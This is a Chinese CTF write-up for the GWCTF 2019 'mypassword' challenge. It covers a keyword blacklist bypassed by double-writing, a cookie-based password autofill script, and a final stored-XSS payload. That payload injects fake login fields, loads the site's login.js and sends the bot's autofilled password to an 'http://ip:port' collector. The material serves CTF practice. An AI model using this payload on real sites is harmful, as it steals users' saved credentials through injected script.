1. 程式人生 > 實用技巧 >刷題[GWCTF 2019]mypassword

刷題[GWCTF 2019]mypassword

解題思路

開啟網站,登陸框。註冊一個使用者後再登陸

看樣子是注入了,在feedback.php中發現註釋

<!-- 
			if(is_array($feedback)){
				echo "<script>alert('反饋不合法');</script>";
				return false;
			}
			$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
			foreach ($blacklist as $val) {
		        while(true){
		            if(stripos($feedback,$val) !== false){
		                $feedback = str_ireplace($val,"",$feedback);
		            }else{
		                break;
		            }
		        }
		    }
		    -->

大概意思是過濾了這些字串,但是因為str_ireplace函式採用的是非遞迴思想,直接採用雙寫的方法即可繞過

看了看過濾的都是xss用到的,然後這個框裡也像xss,先試試xss。

xss

<scriphostt>alert(1)</scriphostt>

在list中果然彈窗,然後按照他的意思應該是需要獲取原始碼,密碼在原始碼中,通過原始碼獲取密碼,登陸admin,再進行下一步操作。

其實網上搜到了一篇通過xss打出原始碼的文章。但是我在本地並未復現成功。然後感覺考點其實不在這裡

這裡走不通,只能換一條路了。返回登陸頁面查看了login.js

if (document.cookie && document.cookie != '') {
	var cookies = document.cookie.split('; ');
	var cookie = {};
	for (var i = 0; i < cookies.length; i++) {
		var arr = cookies[i].split('=');
		var key = arr[0];
		cookie[key] = arr[1];
	}
	if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
		document.getElementsByName("username")[0].value = cookie['user'];
		document.getElementsByName("password")[0].value = cookie['psw'];
	}
}

發現login.js中的記住密碼功能會將讀取cookie中的password。於是構造一個登入框並且引入login.js提交反饋等待bot點開獲得flag

exp

<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
	var psw = docucookiement.getcookieElementsByName("password")[0].value;
	docucookiement.locacookietion="http://ip:port/?psw="+psw;
</scrcookieipt>

注意這裡要將過濾的字串中間加入cookie,使其正確拼接

這裡其實我是想用vps打,但是用buu的linux靶機不知道為什麼沒有用,然後用buu的requestbin模組,成功打出flag

這裡有一個注意事項,因為引入的記住密碼功能,所以你在註冊時不能記住密碼,否則會覆蓋admin的cookie,我在這裡打半天打不出來,後面想到了這個方面

總結思路

根據黑名單提示用xss打,程式碼審計發現cookie儲存,直接可以提取出預設的cookie資訊,根據此直接打出admin的密碼

知識點

  • xss
  • 程式碼審計
  • cookie